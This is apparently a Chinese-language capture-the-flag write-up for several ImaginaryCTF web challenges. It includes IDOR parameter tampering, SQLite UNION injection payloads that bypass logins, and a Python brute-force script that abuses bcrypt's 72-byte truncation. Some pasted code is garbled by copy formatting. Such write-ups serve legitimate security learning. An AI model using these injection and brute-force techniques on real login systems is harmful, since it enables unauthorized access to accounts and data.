写出来的 Idoriot 1.这题一开始给了一个登录界面,先点击下面连接跳转到注册界面 2.先随便输入点啥在username和password里 3.注册完成后会显示题目的源码
1 2 3 4 5 6 7 8 ...$admin = $db ->query('SELECT * FROM users WHERE user_id = 0 LIMIT 1' )->fetch();if ($admin ['user_id' ] === $_SESSION ['user_id' ]) { $flag = file_get_contents('flag.txt' ); echo "<h1>Flag</h1>" ; echo "<p>$flag </p>" ; }else ...
以上为关于flag的判断,需要在发起新会话时让user_id=0 4.先进入logout.php退出登录,F12查看源码
1 <input type ="hidden" name ="user_id" value ="310702386" >
题目会随机给个id 5.用hackbar在注册界面传参:username=222222&password=1&user_id=0 6.获得flag:ictf{1ns3cure_direct_object_reference_from_hidden_post_param_i_guess}
idoriot-revenge 1.这题作为上面那题的修改,刚开始的流程相同,先查看源码
1 2 3 4 5 6 7 8 9 10 11 $admin = $db ->query ('SELECT * FROM users WHERE username = "admin" LIMIT 1' )->fetch ();if (isset ($_GET ['user_id' ])) { $user_id = (int ) $_GET ['user_id' ]; if ($user_id == "php" && preg_match ("/" .$admin ['username' ]."/" , $_SESSION ['username' ])) { $flag = file_get_contents ('/flag.txt' ); echo "<h1>Flag</h1>" ; echo "<p>$flag </p>" ; } }
告诉我们user_id会用get传参,且强制转换为int型后再与字符串比较,当int为0时相等 之后还要满足发起会话时username=/admin/ 2.先注册个username=/admin/的账号,之后在url中修改user_id=0 3.flag:ictf{this_ch4lleng3_creator_1s_really_an_idoriot}
没写出来的 后来看别人的wp
roks 查看源码,通过Dockerfile得知flag.png与image在一个目录下,点击主界面按钮得知会随机展示一张从image来的图片,解码后会检测传入的内容是否含有“/”和“.”,再拼接文件路径
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php $filename = urldecode ($_GET ["file" ]);if (str_contains ($filename , "/" ) or str_contains ($filename , "." )) {$contentType = mime_content_type ("stopHacking.png" );header ("Content-type: $contentType " );readfile ("stopHacking.png" ); } else {$filePath = "images/" . urldecode ($filename );$contentType = mime_content_type ($filePath );header ("Content-type: $contentType " );readfile ($filePath ); }?>
瞎了,没看到拼接时还会再解码,二次编码无法通过三次行
blank sql注入,但是sqlite3,部分语句与mysql不同
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 ........... app.get('/login' , (req, res) => { res.render('login' ); }); app.post('/login' , (req, res) => { const username = req.body.username; const password = req.body.password; db.get('SELECT * FROM users WHERE username = "' + username + '" and password = "' + password+ '"' , (err, row) => { if (err) { console.error (err); res.status(500 ).send('Error retrieving user' ); } else { if (row) { req.session.loggedIn = true ; req.session.username = username; res.send('Login successful!' ); } else { res.status(401 ).send('Invalid username or password' ); } } }); }); .......... app.get('/flag' , (req, res) => {if (req.session.username == "admin" ) { res.send('Welcome admin. The flag is ' + fs.readFileSync('flag.txt' ,'utf8' )); } else if (req.session.loggedIn) { res.status(401 ).send('You must be admin to get the flag.' ); } else { res.status(401 ).send('Unauthorized. Please login first.' ); } });
原代码检查是否为admin的password,不报错即可
1 password = a"union select 1,2,3/*&username=admin
Perfect Picture 关键代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 def check(uploaded_image): with open('flag.txt', 'r') as f: flag = f.read() with Image.open(app.config['UPLOAD_FOLDER'] + uploaded_image) as image: w , h = image.size if w != 690 or h != 420 : return 0 if image.getpixel((412 , 309 )) != (52 , 146 , 235 , 123 ): return 0 if image.getpixel((12 , 209 )) != (42 , 16 , 125 , 231 ): return 0 if image.getpixel((264 , 143 )) != (122 , 136 , 25 , 213 ): return 0 with exiftool.ExifToolHelper() as et: metadata = et.get_metadata(app.config['UPLOAD_FOLDER'] + uploaded_image)[0 ] try : if metadata["PNG:Description" ] != "jctf{not_the_flag}" : return 0 if metadata["PNG:Title" ] != "kool_pic" : return 0 if metadata["PNG:Author" ] != "anon" : return 0 except : return 0 return flag
需要上传符合以上要求的图片 抄个脚本(exiftool.exe)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 import subprocessfrom PIL import Image, ImageDraw def create_flag_image(filename): img = Image.new('RGBA' , (690, 420), color=(255, 255, 255, 255)) draw = ImageDraw.Draw(img) draw.point((412, 309), fill=(52, 146, 235, 123)) draw.point((12, 209), fill=(42, 16, 125, 231)) draw.point((264, 143), fill=(122, 136, 25, 213)) img.save(filename) def set_image_metadata(image_path): metadata = { "PNG:Description" : "jctf{not_the_flag}" , "PNG:Title" : "kool_pic" , "PNG:Author" : "anon" } command = ["exiftool" , "-overwrite_original" ] for tag, value in metadata.items(): command.append(f"-{tag}={value}" ) command.append(image_path) subprocess.run (command, capture_output =True , text =True ) def view_image_metadata(image_path): command = ["exiftool" , image_path] result = subprocess.run (command, capture_output =True , text =True ) if result.returncode == 0: print ("Metadata for image: " , image_path) print (result.stdout) else : print ("Error:" , result.stderr) img_filename = "flag.png" created_filename = create_flag_image(img_filename) set_image_metadata(img_filename) view_image_metadata(img_filename)
Login 按下F12查看原码 瞎了没看到source几个大字 还是sqlite3
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 <?php if (isset ($_GET ['source' ])) { highlight_file (__FILE__ ); die (); }$flag = $_ENV ['FLAG' ] ?? 'jctf{test_flag}' ; 面的那个赋值给$flag $magic = $_ENV ['MAGIC' ] ?? 'aabbccdd11223344' ;$db = new SQLite3 ('/db.sqlite3' );$username = $_POST ['username' ] ?? '' ;$password = $_POST ['password' ] ?? '' ;$msg = '' ;if (isset ($_GET [$magic ])) { $password .= $flag ; }if ($username && $password ) { $res = $db ->querySingle ("SELECT username, pwhash FROM users WHERE username ='$username '" , true ); if (!$res ) { $msg = "Invalid username or password" ; } else if (password_verify ($password , $res ['pwhash' ])) { $u = htmlentities ($res ['username' ]); $msg = "Welcome $u ! But there is no flag here :P" ; if ($res ['username' ] === 'admin' ) { $msg .= "<!-- magic: $magic -->" ; } } else { $msg = "Invalid username or password" ; } }?> ... 有个<?= $msg ?>
另一部分:
1 2 3 4 5 6 7 <?php echo password_verify ("a" ,"$2y $10 $5OlXnb0eEfoadvdCwULWvuKVU3HFUL7bElISRItRVbDySKxrHMiC O" )?>
1.得到magic,使得password带上flag 2.通过对username的注入登录到admin,获取到magic688a35c685a7a654abc80f8e123ad9f0
:
1 2 3 password =a&username=a' UNION SELECT ' admin ' AS username,' $2 y$10 $5 OlXnb0eEfoadvdCwULWvuKVU3HFUL7bElISRItRVbDySKxrHMiCO' AS pwhash/*
由于只判断前72个字符,可进行爆破 脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 import requestsimport os url = "http://login.chal.imaginaryctf.org/?688a35c685a7a654abc80f8e123ad9f0" able ="abcdefghijklmnopqrstuvwxyz_0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$ %&'()*+,-./ :;<=>?@[\]^`{|~}" flag = "ictf{" while True: length = 71 - len(flag) password = "a" * length for i in able: guess = password + flag + i hash = os.popen(f"php exp.php {guess}" ).read() headers = {"Content-Type" : "application/x-www-form-urlencoded" } for it data = f"username=a' UNION SELECT 'admin' AS username,'{hash}' AS pwhash/*&password={password}" r = requests.post(url, data=data, headers=headers) if "admin" in r.text: flag += i print (flag) break if flag[-1 :] == '}' : break
输出结果:
1 <?php echo password_hash ($argv [1 ], PASSWORD_DEFAULT);